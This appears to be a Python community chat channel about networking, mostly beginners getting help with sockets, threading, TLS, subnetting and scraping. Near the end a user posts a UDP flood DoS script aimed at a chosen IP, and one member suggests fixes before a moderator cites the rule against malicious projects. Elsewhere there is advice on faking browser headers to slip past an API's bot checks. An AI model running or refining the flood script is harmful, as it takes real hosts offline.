#networks
1 messages ยท Page 32 of 1
ok ill look more in to threading
theres a simple threaded client-server chat app code example in the pins of this channel @dry lotus
ok ill look into it thanks
but i still dont get why would you check for clients sending messages
what i imagine is clients connecting to a server and when a client sends a message, the message goes to the server and then the server sends that message to each client in the list as you are doing, except send data instead of receive
no need for receiving data from each client explicitly
yea
yeah teh way i try to recieve the data isnt very epic
its kinda ineffiective
ye
TypeError: __main__.Main.check_message() argument after * must be an iterable, not socket
im not really sure where i went wrong. its in the check messages thing and im not really iterating anything there
its probably the thread but idk its weird
missing a , to note your () as a tuple not just redundant parentheses
Thread(target=self.check_message, args=(connection)).start()
(connection) simplifies to python as just connection
args expects a tuple / iterable to pass
so you need to do
(connection,) to make it a tuple
just add a , after connection lol
Ye
also as a side note, that code wont work how you expect / how you should expect it to work
nice pfp lol
ohhh ok alright
got it thanks
i have so much debugging to do
https://youtu.be/2t4r8fGBorM DM me if you need music
Provided to YouTube by Amuseio AB
Waves ยท HotCoffee Party
Waves
โ HotCoffee Party
Released on: 2021-05-21
Music Publisher: Copyright Control
Composer Lyricist: Chander Vesh
Auto-generated by YouTube.
What's the easiest solution to have messaging between 2 servers? I want to send messages back and forth between them
sockets
please dont advertise
I've tried sockets but I don't really understand how to do proper 2 way communication. You have to send the message from one and receive it on the other in that order, which works if it's always the order, but what if I don't want to send messages in a pre-defined order, like server sends message, then client sends message, then client sends message again, but send messages from whatever end in whatever order they want to?
have you ever seen a peer 2 peer implementation
Not really
its like the method youve seen before but both sides have sockets binding and connecting too each other
Could you help setting it up? I've read like 6 tutorials on sockets but none showed how to do that
Each was using a predefined order, like server sends message, then client sends message, then client sends message again, then server sends message
sure, do you know how basics sockets work tho?
welcome to the world of threading lol
I know the basics yes
Yeah I was thinking of that
Basically I run send and recv on separate threads?
yeah
Hm that's what I was thinking but wasn't sure if that's how you're supposed to do it
Guys, when we do the socket programming do the client connect through the server using the port
yes
Yes, you gotta have that port forwarded if you aren't connecting from the same network
check out my pin on port forwarding
Like the connect through port to the server's IP right
Like what protocol they use
To connect
If you run the server on port 50000 then you gotta connect to port 50000 yes
no, connect to the servers ip with the port as an identifier
yeah what Martin said
Nice one
Gotta u
@prisma cobalt Mind you if I DM you for this? I don't wanna spam this channel with it
eh id rather keep it here, besides its fine if you spam this channel with relavent stuff lol, its not used much
theres actually a threaded server-client program examples in my pins as well lol
Thank you e evoragw too
๐
Oh yep just found it, that's actually a really good example
One thing though
The server can't send messages back to the client
I want to communicate between the server and client only (with multiple clients)
And not with other clients
theres a broadcast function in that example code, just remove it along with any references to it and then the messages wont be sent to other clients
Yeah but that won't make the server be able to communicate with the client though?
so in the server, create a thread for each client
then always listen, then you recieve info from the client
and you can send info back to the client along the same socket
because in the client youve got 2 threads, one for listning and one for sending
Hm I'm not sure if this is what I'm looking for
I just want to send messages between a server and a client
With support for multiple clients (but they all independently communicate with the server only)
just do this then
I think the basic example is broken though
line 32, in <module>
data = s.recv(1024).decode()
OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied
Connection from: ('127.0.0.1', 54647)
line 25, in <module>
data = s.recv(1024).decode()
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
All I've done was changing the IP to localhost on both
can i see the code you used?
# Simply imports the socket module
import socket
# An IP of "0.0.0.0" opens the server to all connections
host = "127.0.0.1"
# The port ranges from 0-65535 (2^16)
# However it's reccomended to only use values from 1023-65535
# This is because 0-1023 are system reserved ports
# Make sure to use the same port on the client.py script
port = 8080 # 8080 is an example (see above for advise)
# socket.socket() defaults to:
# socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
# You don't need to remember these settings but they are enough for simple usage
with socket.socket() as s:
# Binding of the socket allows the server to start
s.bind((host, port))
# Listening allows the server to recieve client connections
# Note: this will block the rest of the code until a connection or error
s.listen() # A value can be passed into ".listen()" which specifies max number of connections
# The server accepts incoming connections with "Socket.accept()"
connection, address = s.accept()
# Expanation:
# connection: A socket interface that allows the sending or recieving of data
# address: A tuple in the form of (Client IPv4, Port)
with connection:
print(f"Connection from: {address}")
# Data recieved from the client will be in binary form
# This means you need to ".decode()" the data after recieving it
# Default is utf-8 (as is ".encode()")
data = s.recv(1024).decode()
# Outputs the data
print(f"Data from server: {data}")
# When sending data over the socket, it also needs to be in binary form
# The ".encode()" encodes a string to its binary equivalent (default is utf-8)
s.send("Hello World".encode())
# Simply imports the socket module
import socket
# The server's hostname or IP allows the client.py script to identify the target server on the internet
host = "127.0.0.1" # An example would be ("69.89.31.226")
# The port ranges from 0-65535 (2^16)
# However it's reccomended to only use values from 1023-65535
# This is because 0-1023 are system reserved ports
# Make sure to use the same port on the server.py script
port = 8080 # 8080 is an example (see above for advise)
# socket.socket() defaults to:
# socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
# You don't need to remember these settings but they are enough for simple usage
with socket.socket() as s:
# Connecting to the server should be in the format of a tuple
# Note: this will block the rest of the code until a connection or error
s.connect((host, port))
# When sending data over the socket, it needs to be in binary form
# The ".encode()" encodes a string to its binary equivalent (default is utf-8)
s.send("Hello World".encode())
# Data recieved from the server will also be in binary form
# This means you need to ".decode()" the data after recieving it
# Default is utf-8 (as is ".encode()")
data = s.recv(1024).decode()
# Outputs the data
print(f"Data from server: {data}")
Yeah it got printed Connection from: ('127.0.0.1', 54647)
I have no idea what's wrong
thats really weird
it happened for me too
but this code works ๐
ive tested it before
damn
is a wireless NIC the same as a wireless adapter?
the port 8080 is probably reserverd ig
and instead of hardcoding the receiving and sending data, use while loops, on both, the client as well as the server side
and have different threads, one just receiving data and one just sending data to other clients
that's probably what you want
ive got a question, when you use socket.recv(Bytes), will it recv that many bytes? or is it the limit to how much it can receive? for exmple, if i send 500bytes of data to a socket.recv(1024), what will it only receive the 500bytes? or will it receive a 1024 bytes but they are not usable?
Its a limit
It can read upto that amount of bytes but not beyond. But it can be lower
hi is there someone good/learner in web scrapping
yo guys for some reason my tcp chatroom doesnt send any messages to everyone. im not sure if its a client side problem where the client isnt able to recieve messages or a server side problem where the server cant send any messages.
ersdidfj sf i see what i did wrong im very sorry
i forgot to add the while looop for some reason
nvm it still doesnt work
no error either lol
I kinda dont agree with the fact that it can be lower, since while working on a file transfer system, i first sent the file name and the start sending the file data in a loop, the buffer for receiving the file name was pretty big (1024 bytes), and file name would never be greater than 50 chars (50 bytes ig) so about 950 bytes from the file data sent after that would get into the 1024 bytes buffer for the file name
so what i think is, socket.recv(1024) would wait till all the bytes are full after receiving the data being sent directly after that
like the data sent afterward would append to the buffer
That doesnt mean it cant happen, 1024 bytes is nothing in reality, but its a behavior of sockets non-the less, this is especially a behavior when working with asynchronous IO because sockets will raise a BlockingIOError when they cannot send / receive any more data from / to the socket without blocking and the only n amount of bytes will have been written.
Saying it doesn't happen when you have n amount of bytes for what you've done doesn't mean it wont ever do that and you certainly shouldn't write code relying on that detail.
Yeah, but the behavuior i onsetved wss really cconsistent despite repeated testing
I mean your testing seems to be rather lacking in this particular case
and generally I would advise not telling others to ignore a implementation detail / behavour
That appened data to the buffer broke the file name lol
so the solution i had was having a 50 bytes buffer and padding the file name data to 50 bytes
sock.recv(1024) will often read that 1024 bytes because thats not much data, generally sockets can recv a few hundred kilo bytes without needing / wanting you to stop appending to the os buffer
Yeah
that doesnt mean you should ignore the fact that it can recv less
and it doesnt mean you should assume that it will recv the exact amount or send the exact amount
hmm
it is a very important fact in socket handling that you should respect and be aware of
simple assuming it wont happen is a really really good way of making a unreliable / unstable socket handler
https://docs.python.org/3/howto/sockets.html#socket-howto you should consider reading the guide properly ๐
Yeah lol, i should go through it lmao
funny how i made a video streaming system without even seeing the docs

lol
What anime is ur pfp uwu
secret
Context: Making code that will scrape usernames off tiktok
link = 'https://tiktok.com'
send_headers = {
'authority': 'www.tiktok.com',
'method': 'GET',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
}
html = requests.get(link, headers=send_headers)
data = html.text
def LR(inp, s1, s2):
try:
opt = inp.split(s1)[1]
opt = opt.split(s2)[0]
return opt
except:
return "No Users Found"
username = LR(data, '"users":{"', '":')
print(username)
All this does is take the first username and prints it
by finding the first text in between 2 specified strings
but since usernames appear multiple times, how do I get the SECOND text between 2 specified strings?
i got mentioned?
Yes, help
instead of splitting the json response, try to parse it using html.json() and find the username from there
Sorry for the late response lol but specifically Android tv app why?
They already have Samsung TVs sadly so just curious. Havent messed with tv apps really.
tv app cuz, how easy is it to run scripts on a tv?
Harder compared to making a android tv app with c#/unity, then you can open c# sockets and stream video once you get into the nitty-gritty of it
To find the IP address of a destination, we need the service of DNS. DNS needs the service of UDP or TCP. UDP or TCP needs the service of IP. IP needs an IP destination address. Is this a vicious cycle here?
yeah you need to know the IP of the target to get anything done really
It's not service, it's protocol.
IP for routing
TCP/UDP for messaging
DNS is actually a service and protocol but yeah you use it to get other IPs via name resolution.
Thus ath the very least you need to know DNS IP address in some ways. Either via static manual typing or via say DHCP service (auto-negotiation)
What's a good book/resource to learn about networking if I have close to zero knowledge?
Is the big book by Tanenbaum & Wetherall a good choice?
.
Realpython have a great article on sockets in python, it's pretty long tho with lots of examples. That's all I know of potential resources lol
(the link is in the second pin)
well, I was think of a more general resource
not python-specific
Ah right, can't help you there sorry
Computer Networking Resources
if you want a general overview over the different concepts
https://www.ibm.com/cloud/learn/networking-a-complete-guide
In depth article over the different concepts
https://www.softwaretestinghelp.com/computer-networking-basics/
Networking in Python
https://realpython.com/python-sockets/
Books
- CompTIA Network+ (Mike Meyers)
- Networking all-in-one for dummies (Doug Lowe)
Ideal learning path
- Learn the OSI Model
- get a general overview over some basic concepts
- Build something with your knowledge (chat app, web server, etc)
- Get to know some topics more in depth
Networking is a large topic and it depends on what you actually want to learn, I sent some articles and books above which you can consider if you're interested
thanks, I'll check that out
I'd recommend the book "Computer Networking. A Top-Down Approach", Kurose/Ross, it's easier than Tanenbaum, but covers all network topics.
LF for buddy to code together, i just come to advance stuff, and wanna make chat app, learning sockets, gui, framework and so on... if you wanna pair learning, pm
Hi Guys, I'm taking a python course in college and I'm not gonna lie.....I'm 2 weeks in from never and feel like I'm clueless. That being said, I'm trying to write a client/server script that exchanges data over TLS....I have a signed certificate, but the book I'm reading (Python Cookbook) is using SSL for its scripting, meanwhile I went to https://docs.python.org/3/library/ssl.html and I'm trying to blend both pieces of info together....That being said, my current work so far (based off lectures and books and that one URL):
Server
import ssl
# establish a context for the TLS transaction to take place and provide cert/key
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('server_cert.pem', 'server_key.pem')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# configuring the server script to bind to IP '127.0.0.1' and port 1550))
s.bind(socket.gethostbyname('127.0.0.1'), 1550)
# setting a listening number of clients
s.listen(15)
len = 2048 # length is equal to same amount of bytes as the key
while True:
c, address = s.accept()
data = c.recv(len)
if data:
print(data)
c.close()
Client
import ssl
# establish a context for the TLS transaction to take place and provide cert/key
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('server_cert.pem', 'server_key.pem')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# configuring the server script to bind to IP '127.0.0.1' and port 1550))
s.bind(socket.gethostbyname('127.0.0.1'), 1550)
# setting a listening number of clients
s.listen(15)
len = 2048 # length is equal to same amount of bytes as the key
while True:
c, address = s.accept()
data = c.recv(len)
if data:
print(data)
c.close()
``` Am I anywhere close to having a clue?
@humble sigil if you wanna get local ip, just make it so host = gethostbyname(gethostname())
and then give ip and port in one () bind((host, port))
i guess there is problem?
basically, learn little about sockets, everything is wrong?
Honestly I have not a clue.... but given my track record of not easily digesting the fundamentals of python, I figured there'd be a problem like the SSL being wrapped and not knowing where TLS fits
I'm going based off a sample piece of lecture code that's fit around it
SSL is just an old name and usually refers to actually TLS nowadays. TLS 1.0 is an upgraded version of SSL 3.0. No one really uses the original SSL anymore, so when you see people talk about SSL, they probably actually mean TLS.
See that's the thing, the professor for my college course was dead set on "write a script for TLS data transfer between server and client......BUT YOU NEED SSL CERTIFICATES, OH, JUST FIND OUT HOW TO MAKE THEM IN KALI"
So I'm really just guessing the whole thing
a nice article https://web.stanford.edu/class/msande91si/www-spr04/readings/week1/InternetWhitepaper.htm
A slightly technical whitepaper explaining what makes the Internet tick.
Use HTTP instead of socket TLS?
lmao
hey can someone help me in #help-pancakes
how would one handle a smooth exit when the internet goes out? right now if the user's internet crashes or goes off, it will never disconnect him from the server, so he will never be able to log back in until the server is rerun. how would i make it so the user is properly disconnected when i can't send the server anything cause there is no internet
But that's not the project and HTTP is less secure?
HTTPS isn't
and HTTPS is'nt the project too lol
any netbox gurus here?
Can I get suggestions?
I want to make net game, plan is simple so far.
Server with active games, and when people join, then comunicate between each other and just send result to server.
Any technological suggesion what to use?
How can i do an AutoClicker?
wrong channel xd
xd
i literally just fixed my error and out of no where comes this one and when i change back to my old code this error still appears
pyautogui
how does an ipv4 change?
Hey guys, I've got a quick question, I hope this is the right place to ask.
I'm trying to scrape a site, and the only way to not get a 403 is including a certain cookie with a code (which I got from a normal browser). The cookie expiration date is set to "Session". Am I right to assume I can just keep on using that cookie with requests indefinitely?
As long as you keep the connection alive, I think so
If you can pretty print some of the headers here, we might be able to help a bit better
Alright, so, not really a python question I guess. But anyone have a good english resource on 3proxy? Specifically the allow command. I'm trying to make a very simple proxy server.
Go ahead!
May I know how many hosts do I need if I have 4 ip addreses
From a table I found its 2 hosts..but my teachers says its wrong
this table
Can you paste original question?
What do you mean by host? A server for example?
Do you count network and broadcast addresses into your total number of addresses?
The question is actually a vlan needs 4 ip addresses for them so find the number of subnets it needs and the ip range
So you need to address at least 4 hosts
You cannot use /30 subnet
There are not enough amount of hosts
Oh..what do u mean when u say not enough?
I got 4 hosts from subnet cheat sheet..there it says 4 ip addreses has 4 hosts
Take a look at your table, with mask /30 you have 2 "free" addresses (one is always for network and another one is for broadcast)
So then pick /29
This is the smallest possible subnet
You have 6 "free" addresses there so you have 4 for your hosts and 2 extra
Ohh..but in 29 th subnet 8 addreses are there but I need only 4 ip addreses
Okay, give me a second
Ohk
/30
+-+-+-+-+
|N|F|F|B|
+-+-+-+-+
/29
+-+-+-+-+-+-+-+-+
|N|F|F|F|F|F|F|B|
+-+-+-+-+-+-+-+-+
where N is network address, B means broadcast address and F means free address
You cannot assign nether N and B to users
So you don't have 4 addresses in /30
Only 2
But you have 6 addresses in /29 so you can take 4
Ohhh..now i get it
You have always network address and broadcast one so you have 2^k - 2 free addresses
So if my ip is 192.168.88.96..so..
That will be my network ip broadcast ip and ip range from /29 right?
Yep, what's up?
So I have this question and thanks to you I have been able to do it..but as stated in the question that VLAN 1 must have 4 ip addreses on switch 0..does that mean they want 4 usable ip addreses or just 4 ip addreses whereby only 2 will be of use to them cos 2 will be for network and broadcast?
Generally, I'd say it means 4 usable, but it's ambiguous.
Though, to be fair, /30s are more common than 29s
For me it means that you need to have 4 usable IPs

Yeah its kinda confusing..also last reuqirmenr is that the WAN links between the routers must have 4 ip addresses ..it thats question maybe rings a bell
Cos maybe I guess the confusion is in the words used
I tried asking my teacher, he said that's the answer to the question..n he can't tell
jo somebody can help me i want to send 3 int values over a socket connection i send this: \x01\xff\xff\xff\xff\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00 and recv this: \x01\xff\xff\xff\xff\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00
socket.AF_INET and socket.SOCK_STREAM
How are you sending? And, are you sure you're reading properly?
wait
Looks to me like you're either reading or sending the last two bits twice.
data = conn.recv(1080)
t = tuple(data.split(SEP))
print(t, data)
_id, x, y = t
recv
data = self.id.to_bytes(self.id.bit_length(), 'little') + SEP + self.x.to_bytes(self.x.bit_length(), 'little') + SEP + self.y.to_bytes(self.y.bit_length(), 'little')
self.sock.send(data)
sending
Is this all you're sending on that socket? You might be reading data sent before/after what you're intending to send
Any particular reason you're implementing your own network protocol?
Well, what you need to do is have an end of message separator. Then when you read, you read until you get that and then pass everything up to it to the parsing part.
And then repeat
Be aware that there's no guarantee that the read will return stuff at the message border.
So you could get only half a message, or one and a half or whatever
ok
The pattern is you initialize a buffer as the empty string, append the data you get in there, then use use buffer.partition(message_separator) to check whether you have a message, then process the part before the separator, remove it from the buffer and continue until you don't have a separator, when you again append to the buffer from the socket
I mean, there are optimizations, but that's the main idea.
Can I also suggest you use asyncio?
Another pattern, btw, would be to put the message size as a fixed size value at the beginning of each message. You then read X bytes, then read the rest, knowing how much to read now.
Oh, asyncio has readuntil https://docs.python.org/3/library/asyncio-stream.html#asyncio.StreamReader.readuntil
ok thx ig this makes more sense i used it somewhen but just forgot about it -_-
Oh 
Hey sorry for the random ping, but any resources I can follow?
realpython has an article on networking with python, which is good for beginners
Can anyone make this clear ? How is this possible ? The available host ID are ranging from 192.168.4.1 to 192.168.4.254, where the maximum value of 4th octets is 192 since the subnet mask is /26. They are supposed to be /32 aren't they ?
checkout the pins
This is off-topic for this channel
!ot
Off-topic channels
There are three off-topic channels:
โข #ot0-psvmโs-eternal-disapproval
โข #ot1-perplexing-regexing
โข #ot2-never-nesterโs-nightmare
Their names change randomly every 24 hours, but you can always find them under the OFF-TOPIC/GENERAL category in the channel list.
Please read our off-topic etiquette before participating in conversations.
HI
i have a question
does WAN always have 4 ip addresses?..cos i was doing this and my teacher explained that in this will be 4
Can you share whole question?
Oh sorry..thats the only snippet I got while he was explaining on zoom on a pic
But does wlan always have 4 ip addresses?
The smallest possible network (which is useful for someone) is network + broadcast + 2 free addresses
Oh..but each wlan link can have more than 4 ip addresrs right?
Afaik yes, however I may be wrong
I don't do networking stuff and almost forgot all informations from the studies
Ohk..bcos I got cidr 29 right now with ip 144.120.54.10001000...and I need to find ip range of 4 ip addresses for each of 5 wlans..so simply its easy cos I don't have to change my cidr 29 cos the previous ip was also 4..but..my professor said for this it will be cidr 30..and I have no idea how he came up with 30
As u can see for the next 4 ip addresses for the 5 wan links..I shud use cidr 29 as its same 4 ip addreses from above and sbud use its second subnet..that makes sense..butt
My professor says to use cidr 30 for wan links..I'm confused ..why
what you are saying makes no sense, it's not clear if your teacher wants different subnets for the links or just one. If he wants all nodes to have an ip in the same subnet and you have 4, you need a /29
Yeah since 5 wlan links has 4 ip address each..it shud have /29
No idea why my prof is saying shud have 30
if he doesn't want that, a common way to configure point to point setups is with a /30 between each two nodes (but this is wasteful, in the real world you can use a /31 which only has network and broadcast addresses)
Ohh..yeah i guess ill inquire with him n ask
Hi i need to make a project doing the following things. ( the project is originally in dutch ) But i need to be able to give a local IP address and subnet. And as a result it would give me an array of all possible hosts in the network, subnets and broadcast address. is there someone who can help me out? i know nothing of python and ive gotten this asignment at school... The only things i've done before is very basic math
Hey, can anyone help with with Scapy in python3?
my question more about the "sniff" function, can I pass a parameter/s into the prn /stop_filter type function (other than the packet). I'm also having trouble figuring out the filter param
Paste your code please and write what you expect
Okay so i need some help with this.
@clear bobcat I would like to pass parameters to packet_handler(other than the packet itself), also sniff only packets with specific tcp src/dst ports
I have a IPv4 address in [x, y, z, w] form and it needs to be upped by 1 octet. when i run this it needs to return to me the IPv4 address in [x, y, z, w] form but with the last octet being 1+
for instance 198.168.0.0 is the input
and after it should be 198.168.0.1
how would i write something for that?
it cant go above 2.54
254*
when your w is integer you can increase it by plus one and build an if statement so whenever is 254 cant be increased anymore
Yes i have done this many thanks ๐ ( sorry also had to make and eat dinner )
i made a fake smtp server to test my code with
Hey @true wharf!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
Your receiving 1 byte at a time?
That seems horribly inefficient
It's built off a telnet server
I wasn't sure if SMTP sent the whole line at once or if it was just safer to read until new line
hey can anyone help me out with a programming issue I'm having? I posted my question here: https://stackoverflow.com/questions/67757967/getting-an-winerror-10057-in-my-python-multiplayer-game-using-pygame?noredirect=1#comment119766277_67757967
hellooo guys!
is it possible to send requests with sockets
thru proxies?
Do i have to connect to the proxies before sending the request?
I have a question regarding smtp.
when an email is being sent from a pc it shows local ip on that red marked area.
but when i use amazon lightsail it adds ec2.internal at the end of that instance name
can i replace that everytime i send an email?
heyyyy
can come explain how many connection does WAN have and also regarding its networl address boradcast address and range..i actually cant find a good explaination for this
I have a small question what if I have 10 sensors that measure the same data and decided if the threshold has exceeded a state. The sensor data is sent to a control system. would you say that this should be done as event or timed trigger. and if the control system has to act within 2s interval do I send the data every 2s or less ?
@wide path youve already asked this above lol
my response: #networks message
it is not the same question really it might seem like it because of how I worded it my bad
Can you access website without dns ? example if i type yahoo.com without dns server give me the ip address of yahoo ?
yeah, thatโs cool
hey
so, when you make a socket listen for connections, so s.listen()
once a connection a received, does it stop the socket from listening for more connections?
How can I check the internet connections without pinging any server. Maybe using native C system libraries or connecting to the network driver but how?
Not if you put it in a while true loop, in which cass it'll continue forever
hi, im trying to build a chat with django channels or sockets
any one can help with it?
please contact me in private message
check the pins for a socket example
not really, the best thing to do is probably ping google since that never goes down pretty much
i did so many researches about it and found nothing
did you check this channel's pins?
also there are so many good examples you can find easily just by searching "python socket chat example" but lets not go there
nevermind I already switched to java
python is too high level
for my project
but that isnt language specific lol
huh?
okay let me rephrase, how are you checking internet connection in java?
also pinging is likely the worst way to check internet connection
@ember ledge ?
?
how are you checking internet connection in java?
why
wdym why, im just curious
ohk
so... how?
I see you are so curious
yeah lol
i wanted to check internet connection in C# and ended up just pinging google
and you say theres a better way so im all ears @ember ledge
how do i redirect to a youtube link?
with html: https://www.geeksforgeeks.org/how-to-redirect-to-another-webpage-in-html/
with java skript: https://www.geeksforgeeks.org/how-to-redirect-to-another-webpage-using-javascript/
A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.
hope that helps
hey, i have this code
async def get_json(url: str = 'https://discordpy.readthedocs.io/en/stable/'):
async with aiohttp.ClientSession() as session:
async with session.get(url) as req:
return await req.json(content_type='text/html')
but i keep getting this error
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
can someone please help
can anyone help with trying to access certain apis
I feel so stupid
I've been making a REST API for things in my house
and I was testing port forwarding
and it wasn't working for some reason
I was going to the internal ip for my computer not the external ip
I feel like such a dumbass right now
Would it be possible to mix sockets and tkinter (or kivy, I guess) together to make some sort of messaging app?
Thats probably realistic
Yes
Ah, thanks
I'll probably google how to mix both ig
The headers User-Agent, Pragma and Cache-Control must exist, otherwise your connection will get rejected with a 403 response code.
They can simply be left empty or have a fake value, however the API may begin to check for this at any time so it is recommended to provide realistic values.
Certain APIs have many security measures to block out headless connection. One of these securities is a strict checking of HTTP headers on incoming websocket connections, and so we need to override this and connect with browser-like headers.
what should values for pragma and cache control look like?
'User-Agent': '',
'Pragma': '',
'Cache-Control': '',```
i mean the values
I dont have them on me atm look it up
okay thank you
ty
cmd = conn.recv()
all code below will not execute until it receives a connection right?
woah thats amazing idea, imagine sending a request to switch off a light or something
ive tried it in the past with sockets and it was a pretty bad implementation lol
Machine Learning Gurus in UK
Transitioning my career from native iOS to ML/DL currently finishing my masters in London. Need help with finding list of companies/start-ups in London with great ML teams where Iโll get maximum learning.
One can search jobs on LinkedIn too, but as a new guy in this domain, I donโt know how good the ML team is in that company or start up.
@app.route('/check')
def access_param():
key = request.args.get('key')
hwid = request.args.get('hwid')
discord = request.args.get('discord')
return "key:"+str(key)+"\nhwid: "+str(hwid)+"\ndiscord: "+str(discord)
database = cluster["test"]
collection = database["info"]
post = {"_id": 123, "Key": key, "DiscordId": discort}
dbi()
collection.insert_one(post)
im using flask and this wont add the stuff into the database, whats wrong, ive been trying for over 30 mins
How to generate a custom packet flow of huge bandwidth like 6MB with scapy? or any other python tools?
Everything after the return is ignored, because the flow of the application has returned to the caller.
Hi. Does anyone know how (on a technical level) import works? I need help in #๐คกhelp-banana
wrong channel, try #career-advice
wrong channel, try #python-discussion or #internals-and-peps
lets hear it then
So I want to use ripv2 on a router and it requires both serial ip and router ip to be configured..but actually my router doesn't have any ip cos its has various subnets whereby I created subinterfaces on my router for router ip
Btw..I'm following this vid for ripv2
Oh wait..this one actually https://m.youtube.com/watch?v=2p0OWcoehnQ
Set up a simple two router network using RipV2 (Version 2).
anyone know how i can run a python program on my windows laptop using commands from raspberry pi?
by ssh'ing into it
Does anyone on here have some experience with openpyxl? I'm trying to filter a table and failing
ERROR: Command errored out with exit status 10:
command: 'c:\users\co\appdata\local\programs\python\python38\python.exe' -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Co\\AppData\\Local\\Temp\\pip-install-l_p5bva2\\pycurl_ca46745b7aa24090bf02fc06186d5660\\setup.py'"'"'; __file__='"'"'C:\\Users\\Co\\AppData\\Local\\Temp\\pip-install-l_p5bva2\\pycurl_ca46745b7aa24090bf02fc06186d5660\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base 'C:\Users\Co\AppData\Local\Temp\pip-pip-egg-info-1q1wejsn'
cwd: C:\Users\Co\AppData\Local\Temp\pip-install-l_p5bva2\pycurl_ca46745b7aa24090bf02fc06186d5660\
Complete output (1 lines):
Please specify --curl-dir=/path/to/built/libcurl
----------------------------------------
ERROR: Command errored out with exit status 10: python setup.py egg_info Check the logs for full command output.
``` When trying to install pycurl.
Someone can explain me how to create the syn-ack on the syn cookie method with python?
I want to create the initial sequence number but i have no clue how to do it
why are you asking in the networking channel?
I dont use C#
ok i was just interested in your network checking implementation that didnt involve pinging
ok
i assume after all this time you wont share how you did it @ember ledge ๐
lmao ok
anyone know how to fix this
when i transfer files to another computer, through reading the bytes of the folder on the server, and writing it to a variable, so
f = x.read() #x.read() contains the binary of the jpg
conn.send(f)
on client side, it's
x = open("transfered_image.jpg", mode = "wb")
data = s.recv(600000)
x.write(data)
x.close()
whats the size in bytes of the image?
if its over 6mb youve got a problem
its 24,000 bytes
data =s.recv(600000) doesnt receive the full binary
so far im up to here
data1 = s.recv(60000)
while data1:
new_file.write(data1)
data1 = s.recv(600000)
new_file.close()
but idk how to break
from that
like when s.recv() stops receiving anything an is stuck
at there
600000 > 24000 tho
ikr
iidk how else to determine
when it will return full data
i just need the damn file to close when its done
but i cant check when its done
cuz its bloody stuck
see
you sohuld never send more then this amount at one time
make a loop
and send until youve reached the end of file
get the size of file with os.path.getsize(filename)
and then make a counter for how many bytes youve sent
thats how i would do it
so you only send the number of bytes needed
k
ty, also couldnt i check on the receiver side, if os.path.getsize() on the server side == client side file size
oh wait
send the size of the file to the reciever first, and then have the client recv exactly that number of bytes, in steps if you want
ok
Hey there so I want to detect if a nickname is already on a nickname list. If it's already in there, send a message to the server so it generates a new nickname. The problem is i believe the server does not sends the message.
Server code: https://pastebin.com/T1iYxffS
Client code: https://pastebin.com/Lsyaa8xF
Client output:
--%||NICK||%--
Server output:
[Server] server_data folder exists.
Server started
[Server] Connected with ('ip', 'address')
User is already on nicknames
[Server] Sending user ALREADYONLINE message.
[Server] MrFellah el dev#1927 disconnected from the server.
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
what is a good forum or site for tech news on cyber security?
something similar to 'the escapist" or "eweek" "withwin"
Hey guys, is there a way to write a script so that it runs on whatever network it's deployed on? I want to write a script that can scan all the running processes of workstations in a LAN
@dull mountain ever try threatpost?
Threat Wire is a weekly video on youtube that does a pretty good job of summarizing, other than that I usually just browse news sites and search things like 'hack', 'cyber', 'cybersecurity' etc.
So, I have this websocket bridge that works
https://paste.pythondiscord.com/imimocagub.py
How can I have this websocket bridge connect to another (To create a chain of websocket handlers to move data around my network)
I've got a client that loops back all the inputs
https://paste.pythondiscord.com/ayicenavul.py
import socket, random, threading, sys, time
try:
target = input(">> Enter IP: ")
threads = int(65000)
timer = float(1000)
except IndexError:
print('\n>> Command usage: python ' + str.argv[0] + ' <target> <threads> <time> !')
sys.exit()
timeout = time.time() + 1 * timer
def attack():
try:
bytes = random._urandom(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while time.time() < timeout:
dport = random.randint(20, 555000)
sock.sendto(bytes*random.randint(5,15), (target, dport))
sys.exit()
except:
pass
print('\n>> Starting attack.')
for x in range(0, threads):
threading.Thread(target=attack).start()
print('\n>> Attack finished.')
so i have a slight issue, when i'm running this it doesn't appear to be doing anything
it's a DoS/DDoS script.
The rules and guidelines that apply to this community can be found on our rules page. We expect all members of the community to have read and understood these.
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
theres a few odd things here, first you can change this:
try:
target = input(">> Enter IP: ")
threads = int(65000)
timer = float(1000)
except IndexError:
print('\n>> Command usage: python ' + str.argv[0] + ' <target> <threads> <time> !')
sys.exit()
to this:
target = input(">> Enter IP: ")
threads = 65000
timer = 1000
since a) this will never error, b) you dont need to specify variables like that
second thing is, why are you doing 1 * timer? that will always equal timer so just do timeout = time.time() + timer
also starting 65000 threads like that is a bad idea
Hi, how can i keep receiving data from websockets?
I need an event that gets triggered when data is received
@prisma cobalt dude why are you helping with stuff against the rules
What websocket library are you using? If you're using a synchronous one then using threading could be a potential solution
im helping him with python syntax, not on the functionality of a ddos tool
also my second help point was simple maths lol
doesn't matter, it's still against the rules
its still helping him with his malicious project
ehh sure
Hello
I needed help to port forward
How do I do it
Cause when port forward just like i've seen
Its still stays closed
